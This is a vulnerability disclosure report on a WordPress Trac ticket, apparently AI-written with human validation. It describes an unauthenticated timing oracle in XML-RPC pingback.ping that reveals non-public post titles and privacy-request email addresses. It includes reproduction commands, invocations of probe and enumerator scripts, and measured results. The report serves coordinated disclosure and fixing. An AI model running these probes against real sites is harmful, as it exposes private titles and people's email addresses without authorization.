Make WordPress Core

Ticket #66054: xmlrpc-pingback-regex-post-title-enumeration.md

File xmlrpc-pingback-regex-post-title-enumeration.md, 22.7 KB (added by justinsteven, 2 months ago)
Line 
1# Disclosure and AI notices
2
3Please note that we plan to publicly disclose this issue off-platform in accordance with CVD practices as outlined in the [Tanto Security Vulnerability Disclosure Policy](https://tantosec.com/vulnerability-disclosure-policy/). We understand that [it is the program's choice whether to reward a bounty in this case](https://docs.hackerone.com/en/articles/8517457-disclosure-coordinated-vulnerability-disclosure#:~:text=Some%20researchers%20may%20choose%20to%20pursue%20Coordinated%20Vulnerability%20Disclosure%20despite%20any%20restrictions%20from%20a%20program). We look forward to working with you on this issue!
4
5**AI involvement notice:** This vulnerability was discovered by ChatGPT 5.6 Sol, and this report was written by ChatGPT 5.6 Sol, with human validation and editing.
6
7# Vulnerable title lookup
8
9The unauthenticated XML-RPC `pingback.ping` method exposes a timing predicate over every title in `wp_posts`, including titles the caller cannot read. It converts the target URL fragment into a regular expression and queries the table without restricting post type, post status, password protection, or caller visibility:
10
11```php
12$title = preg_replace( '/[^a-z0-9]/i', '.', $urltest['fragment'] );
13$sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title );
14$post_id = $wpdb->get_var( $sql );
15```
16
17[Source: WordPress 7.0.2, `class-wp-xmlrpc-server.php` lines 6964–6980](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/class-wp-xmlrpc-server.php#L6964-L6980)
18
19A miss returns immediately. A match loads the selected row and checks its ping state before WordPress has established that the caller may know the title:
20
21```php
22$post = get_post( $post_id );
23
24// ... post existence and self-link checks ...
25
26if ( ! pings_open( $post ) ) {
27 return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
28}
29
30// ...
31
32sleep( 1 );
33$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
34```
35
36Sources: [post loading and ping check, lines 6987–7005](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/class-wp-xmlrpc-server.php#L6987-L7005); [delay and outbound fetch, lines 7021–7044](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/class-wp-xmlrpc-server.php#L7021-L7044).
37
38This creates two observables from the same unauthorized lookup:
39
40- With a valid, unique source URL, a selected ping-open row reaches the fixed one-second delay and outbound fetch. One request therefore provides a strong title predicate.
41- A selected ping-closed row returns before the delay, but still performs the successful lookup, `get_post()`, and `pings_open()` work that a miss avoids. Repetition through `system.multicall` makes this smaller difference measurable.
42
43The default `xmlrpc_pingback_error` filter normalizes the hit and miss faults used by the PoCs to the same empty XML-RPC fault. Testing confirmed identical HTTP status and response bytes, leaving timing as the response-channel distinction. Sources: [filter registration](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/default-filters.php#L322); [normalization function](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/comment.php#L3396-L3401).
44
45The search is unanchored and normally case-insensitive. ASCII letters and digits remain literal; every other fragment character becomes the one-character wildcard `.`. If several titles match, the query has no `ORDER BY` and `$wpdb->get_var()` uses whichever ID the database returns first. The caller cannot combine a title pattern with a chosen post ID. A numeric fragment takes a separate ID path instead of performing the title search. These rules mean that a useful predicate should be expected to select one title and that the oracle recovers a case-normalized pattern, not exact arbitrary text.
46
47## A. Direct oracle for ping-open non-public titles
48
49A selected ping-open title match takes approximately one second longer than an equal-length miss. `$pagelinkedfrom` is attacker-controlled, so a unique URL on an attacker-controlled server can also provide a positive out-of-band signal after the match passes the intervening checks. Absence of a callback is inconclusive because validation or network failure can prevent the request, and the callback does not contain the selected title or post content.
50
51An untouched installation can satisfy the ping-open precondition. WordPress installs with `default_ping_status=open`, and the built-in `post` type supports trackbacks. An ordinary post saved as a draft can therefore retain `ping_status=open`. Administrators can change the global setting or an individual post, so this condition is not universal. Sources: [installation defaults](https://github.com/WordPress/WordPress/blob/7.0.2/wp-admin/includes/schema.php#L420-L433); [built-in post supports](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/post.php#L40-L51).
52
53I created six uniquely titled rows with `ping_status=open` and compared each title with an equal-length, one-character-wrong control:
54
55| Selected `wp_posts` row | Hit median | Miss median | Hit later | Identical status/body |
56|---|---:|---:|---:|---:|
57| Draft post | 1.031 s | 0.013 s | 2/2 | Yes |
58| Private post | 1.037 s | 0.026 s | 2/2 | Yes |
59| Scheduled (`future`) post | 1.038 s | 0.019 s | 2/2 | Yes |
60| Trashed post | 1.040 s | 0.017 s | 2/2 | Yes |
61| Revision (`inherit`) | 1.041 s | 0.009 s | 2/2 | Yes |
62| Published unregistered post type | 1.025 s | 0.014 s | 2/2 | Yes |
63
64The first four rows arise through ordinary administrator workflows and may retain open pings. I manually opened pings on the revision and unregistered-post-type rows only to establish the breadth of the unrestricted lookup: WordPress normally creates revisions with pings closed, and a stock installation has no rows for an unregistered post type.
65
66The direct probe attachment establishes the one-request predicate. The separate ping-open enumerator demonstrates extraction: from the interior seed `tch1titleseed`, it recovered `9e` to the right and `db` to the left of a previously unread draft title. The 128-request sweep took 10.08 seconds, or approximately 2.52 seconds and 32 requests per character. I read the stored title only after the sweep and confirmed the recovered pattern `dbtch1titleseed9e` against `TCH1OpendbTCH1TitleSeed9eTail`.
67
68## B. Multicall-amplified oracle for ping-closed privacy requests
69
70WordPress core provides a concrete sensitive ping-closed target. A “user request” is the internal row created when an administrator initiates an export or erasure request under **Tools → Export Personal Data** or **Tools → Erase Personal Data**. It is not a WordPress user account. Core stores the data subject's email address directly in the row's title:
71
72```php
73$request_id = wp_insert_post(
74 array(
75 // ...
76 'post_title' => $email_address,
77 'post_status' => 'request-' . $status,
78 'post_type' => 'user_request',
79 // ...
80 ),
81 true
82);
83```
84
85[Source: WordPress 7.0.2, `user.php` lines 4812–4824](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/user.php#L4812-L4824)
86
87The built-in, non-public `user_request` type has no trackback support, so core assigns it `ping_status=closed` when the administrator workflow creates it. A fresh installation contains no such row until an administrator initiates a request. Sources: [`user_request` registration](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/post.php#L284-L300); [post insertion default](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/post.php#L4729-L4735); [default ping-status decision](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/comment.php#L306-L338).
88
89`system.multicall` executes its inner methods sequentially:
90
91```php
92foreach ($methodcalls as $call) {
93 $method = $call['methodName'];
94 $params = $call['params'];
95 if ($method == 'system.multicall') {
96 $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
97 } else {
98 $result = $this->call($method, $params);
99 }
100}
101```
102
103[Source: WordPress 7.0.2, `class-IXR-server.php` lines 197–218](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/IXR/class-IXR-server.php#L197-L218)
104
105Repeating one title predicate 500 times in an outer request accumulates the small ping-closed processing difference while paying HTTP and TLS overhead once. Multicall amplifies the existing disclosure; it does not create it.
106
107The two ping-closed PoCs co-schedule candidate and control multicalls over independent, warmed HTTP/2 connections and rotate which connection carries each predicate. They require the tested endpoint to negotiate HTTP/2 because that paired arrangement made the millisecond-scale difference reproducible in the lab. Both verify the protocol with a lightweight `GET` on each connection before sending a multicall. This is a PoC transport requirement, not a precondition of the vulnerable lookup.
108
109I validated the branch against a privacy request created through the WordPress 7.0.3 administrator interface. The row contained `post_title=tch1closedui8b4e@example.com`, `post_type=user_request`, `post_status=request-pending`, and `ping_status=closed`. No database field was changed.
110
111| Validation | Measurement | Result |
112|---|---|---|
113| Probe calibration | 100 pairs × 400 inner calls | 61/100 candidate-later pairs; `p=0.0176001001`; rejected by the fixed `p<0.01` rule |
114| Probe accepted run | 200 pairs × 500 inner calls | 134/200 candidate-later pairs; `p=8.688e-07`; 2.5 ms median gap; identical status/body/protocol |
115| Rightward enumeration | 16-character alphabet; 1,360 outer requests | Recovered `d` in 46.28 s; winner 89/120 confirmation pairs |
116| Leftward enumeration | Same settings | Recovered `5` in 49.17 s; winner 87/120 confirmation pairs |
117
118For enumeration, I created a second privacy request with two random hexadecimal characters on each side of `tch1emailseed` and did not read the completed address. The enumerator screened every extension against a random equal-length miss, then confirmed the three strongest candidates. Only after both positions completed did I read `tch1privacy75tch1emailseedd3@example.com` from the database and confirm the recovered pattern `5tch1emailseedd`. Each character required 680,000 inner `pingback.ping` calls. The method is therefore practical for a constrained candidate set but noisy and expensive; cost grows with alphabet size and measurement depth.
119
120The original source analysis and testing used WordPress 7.0.2. The administrator-workflow validation independently reproduced the issue on WordPress 7.0.3 with PHP 8.3.33 and MySQL 8.0.46. Stock WordPress registers `pingback.ping` without authentication ([source](https://github.com/WordPress/WordPress/blob/7.0.2/wp-includes/class-wp-xmlrpc-server.php#L157-L159)). Sites that disable or block XML-RPC or pingbacks in WordPress or at the network edge are not remotely exploitable through this method.
121
122# Steps To Reproduce:
123
124All four attachments are unauthenticated, read-only, and accept arbitrary predicate text. They mirror WordPress's fragment conversion locally and report the effective pattern when punctuation becomes `.` or a leading wildcard is needed to avoid the numeric-ID path. Enumerators reject alphabet entries that collapse to the same effective pattern. Each script discovers the public `home` URL from the REST index and derives `xmlrpc.php` from `--endpoint`; use `--site-url` or `--xml-rpc-path` only when the installation requires an override, and use `-k` only on a test server with an untrusted certificate. Progress goes to STDERR and the final JSON result to STDOUT.
125
126## A. Ping-open non-public title
127
1281. As an administrator, create a uniquely titled draft with open pings. Use an [Application Password](https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/) rather than the administrator's normal password:
129
130```bash
131curl --silent --show-error --fail-with-body \
132 --user 'ADMIN_USERNAME:APPLICATION_PASSWORD' \
133 --header 'Content-Type: application/json' \
134 --data '{
135 "title": "TCH1Pingback9D7A",
136 "content": "private validation content",
137 "status": "draft",
138 "ping_status": "open",
139 "comment_status": "closed"
140 }' \
141 'https://wordpress.example/wp-json/wp/v2/posts'
142```
143
144Record the returned numeric `id` as `POST_ID`. Explicit `ping_status` makes the fixture deterministic across sites; it does not imply that every draft is ping-open.
145
1462. Confirm that an unauthenticated client cannot read the draft:
147
148```bash
149curl -i 'https://wordpress.example/wp-json/wp/v2/posts/POST_ID'
150```
151
152The response is `401 Unauthorized` with `rest_forbidden`.
153
1543. Install `requests` and run the direct probe with an equal-length control that occurs in no title:
155
156```bash
157python3 -m pip install requests
158python3 attachments/wordpress_poc_pingback_open_title_probe.py \
159 --endpoint 'https://wordpress.example' \
160 --candidate 'tch1pingback9d7a' \
161 --control 'tch1pingback9d7b'
162```
163
164The script uses one `pingback.ping` call per request. Each probe receives a fresh source URL so a match does not enter WordPress's duplicate-pingback fault path.
165
166Representative result:
167
168```json
169{
170 "candidate": "tch1pingback9d7a",
171 "candidate_later_pairs": 4,
172 "candidate_median_seconds": 1.037483,
173 "control": "tch1pingback9d7b",
174 "control_median_seconds": 0.017097,
175 "identical_status_and_body_all_probes": true,
176 "pairs": 4,
177 "success": true,
178 "success_reason": "candidate was later in all 4/4 paired trials"
179}
180```
181
182Both predicates returned HTTP 200 with the same normalized fault bytes.
183
1844. Demonstrate extraction from an interior seed with the separate enumerator:
185
186```bash
187python3 attachments/wordpress_poc_pingback_open_title_enumerator.py \
188 --endpoint 'https://wordpress.example' \
189 --seed 'tch1titleseed' \
190 --right 2 \
191 --left 2 \
192 --alphabet '0123456789abcdef'
193```
194
195The default alphabet is lowercase alphanumeric plus `.`. Literal matches take precedence; `.` is accepted only as a fallback wildcard, allowing progress across an unknown punctuation character without identifying it. A leftward probe begins with a wildcard so a digit candidate does not enter the numeric-ID path. The title must therefore contain one additional character before the requested leftward span.
196
197The enumerator fails rather than choosing a character when no unique one-second outlier is present.
198
199Representative result:
200
201```json
202{
203 "elapsed_seconds": 10.082,
204 "identical_status_and_body_all_probes": true,
205 "left_recovered": "db",
206 "recovered_pattern": "dbtch1titleseed9e",
207 "requests": 128,
208 "right_recovered": "9e",
209 "seconds_per_character": 2.52
210}
211```
212
2135. Remove the fixture:
214
215```bash
216curl --silent --show-error --fail-with-body \
217 --request DELETE \
218 --user 'ADMIN_USERNAME:APPLICATION_PASSWORD' \
219 'https://wordpress.example/wp-json/wp/v2/posts/POST_ID?force=true'
220```
221
222## B. Ping-closed privacy-request title
223
2241. Sign in as an administrator, open **Tools → Export Personal Data**, and submit the unique test address `tch1closedui8b4e@example.com` with the confirmation-email checkbox left selected. The recipient does not need to confirm the email.
225
226To reproduce the browser submission exactly, copy the current `_wpnonce` from the form and use cookies from a normal administrator login:
227
228```bash
229FORM_NONCE='NONCE_FROM_EXPORT_PERSONAL_DATA_FORM'
230
231curl --silent --show-error --fail-with-body \
232 --cookie admin-session-cookies.txt \
233 --referer 'https://wordpress.example/wp-admin/export-personal-data.php' \
234 --data-urlencode "_wpnonce=$FORM_NONCE" \
235 --data-urlencode '_wp_http_referer=/wp-admin/export-personal-data.php' \
236 --data-urlencode 'action=add_export_personal_data_request' \
237 --data-urlencode 'type_of_action=export_personal_data' \
238 --data-urlencode 'username_or_email_for_privacy_request=tch1closedui8b4e@example.com' \
239 --data-urlencode 'send_confirmation_email=1' \
240 --data-urlencode 'submit=Send Request' \
241 'https://wordpress.example/wp-admin/export-personal-data.php'
242```
243
244WordPress should report `Confirmation request initiated successfully.` and list the request as **Pending**.
245
2462. For lab verification, read the new request ID from the administrator screen and inspect the row without modifying it:
247
248```sql
249SELECT ID, post_title, post_name, post_type, post_status, ping_status, post_content
250FROM wp_posts
251WHERE ID = REQUEST_ID;
252```
253
254The reproduced row was:
255
256```text
257+----+------------------------------------+----------------------+--------------+-----------------+-------------+--------------+
258| ID | post_title | post_name | post_type | post_status | ping_status | post_content |
259+----+------------------------------------+----------------------+--------------+-----------------+-------------+--------------+
260| 44 | tch1closedui8b4e@example.com | export_personal_data | user_request | request-pending | closed | [] |
261+----+------------------------------------+----------------------+--------------+-----------------+-------------+--------------+
262```
263
2643. Install the HTTP/2 dependency and run the ping-closed probe:
265
266```bash
267python3 -m pip install 'httpx[http2]'
268python3 attachments/wordpress_poc_pingback_closed_title_multicall_probe.py \
269 --endpoint 'https://wordpress.example' \
270 --candidate 'tch1closedui8b4e@example.com' \
271 --control 'tch1closedui8b4f@example.com'
272```
273
274The default run sends 200 pairs with 500 sequential inner calls per multicall and accepts the candidate only when the one-sided paired sign test gives `p<0.01`.
275
276Representative accepted result:
277
278```json
279{
280 "calls_per_request": 500,
281 "candidate": "tch1closedui8b4e.example.com",
282 "candidate_later_pairs": 134,
283 "candidate_median_seconds": 0.064664,
284 "control": "tch1closedui8b4f.example.com",
285 "control_median_seconds": 0.062156,
286 "identical_status_body_and_protocol_all_probes": true,
287 "one_sided_sign_test_p": 8.688e-07,
288 "pairs": 200,
289 "significance_threshold": 0.01,
290 "success": true,
291 "success_reason": "one-sided sign-test p=8.688e-07 is below threshold 0.01"
292}
293```
294
295Both predicates returned HTTP 200 with the same body and HTTP version in every measured pair.
296
297This signal is small. If target load obscures it, increase `--pairs` or repeat during lower load; a noisy run is inconclusive. A `ReadTimeout` can also indicate that the predicate selected an earlier ping-open row, causing every inner call to sleep. On a slow target, reduce `--calls-per-request` and compensate with more `--pairs`, or increase `--timeout`.
298
2994. To demonstrate extraction, create a second privacy request with a unique interior seed and constrained unknown characters. This validation used a hexadecimal alphabet and one character in each direction:
300
301```bash
302python3 attachments/wordpress_poc_pingback_closed_title_multicall_enumerator.py \
303 --endpoint 'https://wordpress.example' \
304 --seed 'tch1emailseed' \
305 --right 1 \
306 --left 1 \
307 --alphabet '0123456789abcdef'
308```
309
310For each position, the default settings screen all 16 extensions over 20 pairs and confirm the three strongest over 120 pairs. A candidate must pass the alphabet-corrected one-sided sign test and separation rule. The script generates one alpha-leading, equal-length alphanumeric control per position and reuses it for screening and confirmation. An accidental title collision makes the position inconclusive. The leftward wildcard and fallback-wildcard semantics are the same as in the ping-open enumerator.
311
312Representative rightward confirmation:
313
314```text
315[right 1/1] screening 16 extensions of 'tch1emailseed' against random control '<14 alphanumeric characters>'
316 finalists: 'a' (0.70), 'd' (0.65), 'c' (0.65)
317 confirmed 'a': later=62/120 (0.52), p=0.39216409
318 confirmed 'd': later=89/120 (0.74), p=5.5938609e-08
319 confirmed 'c': later=60/120 (0.50), p=0.53634249
320 accepted 'd'; 1360 HTTP requests in 46.28s
321 recovered pattern: 'tch1emailseedd'
322```
323
324The following leftward sweep accepted `5` in 87/120 confirmation pairs and took 49.17 seconds. Ctrl-C stops the script without creating a checkpoint or server-side change; STDERR shows the last completed pattern.
325
3265. Return to **Tools → Export Personal Data**, select each test request, choose **Delete requests** under **Bulk actions**, and select **Apply**. The reproduced cleanup reported `1 request deleted successfully.` A final query for the request ID or exact title returned no row.
327
328# Recommendations
329
330Remove the legacy string-fragment title lookup and resolve pingback targets only through canonical post URLs. Before post loading, delay, outbound fetch, or any other distinguishable work, require the resolved post to be publicly viewable and open for pings.
331
332If fragment compatibility must remain:
333
334- Restrict the query itself to publicly queryable post types and public statuses.
335- Do not use an attacker-controlled regular expression as the identifier.
336- Apply the same visibility rule to numeric-fragment and query-string fallbacks.
337- Make nonexistent and non-public targets follow equivalent response and processing paths.
338- Limit `system.multicall` work conservatively as defense in depth; this does not replace fixing `pingback.ping`.
339
340Removing only `sleep( 1 )` is incomplete. Ping-open matches would still conditionally trigger an outbound request, and ping-closed matches would still traverse a distinguishable post-loading path.
341
342# Impact
343
344For ping-open rows, an unauthenticated remote attacker obtains a strong one-request predicate over non-public titles. The demonstrated enumerator extended an interior seed by four unread hexadecimal characters in 10.08 seconds. Draft, private, scheduled, and trashed posts can be affected when they retain open pings. On a corporate site, an attacker with plausible terms or a known seed could test draft or scheduled titles concerning events such as acquisitions, layoffs, product announcements, or executive changes. This is a conditional scenario, not a claim that arbitrary unpublished news can always be recovered.
345
346For ping-closed rows, an unauthenticated attacker can amplify the smaller predicate and test constrained candidates statistically. The demonstrated sweep recovered unread characters adjacent to a known interior seed at approximately 47.7 seconds and 1,360 HTTP requests per character. Core's personal-data workflow supplies a concrete sensitive target by storing a data subject's email address in the title of a non-public, normally ping-closed `user_request` row. Confirmed or partially recovered addresses could contribute to targeted spam, phishing, or list enrichment; the disclosure itself is a privacy harm.
347
348The oracle depends on XML-RPC and `pingback.ping` being reachable, a sufficiently unique predicate, useful known text or a constrained candidate set, and enough measurements to overcome noise. The oracle cannot bind a match to a chosen ID or distinguish exact case and punctuation under typical settings. The report did not expose post content, confirmation keys, password-reset keys, roles, credentials, or administrator access. These constraints are reflected in the Medium score and `AT:P`.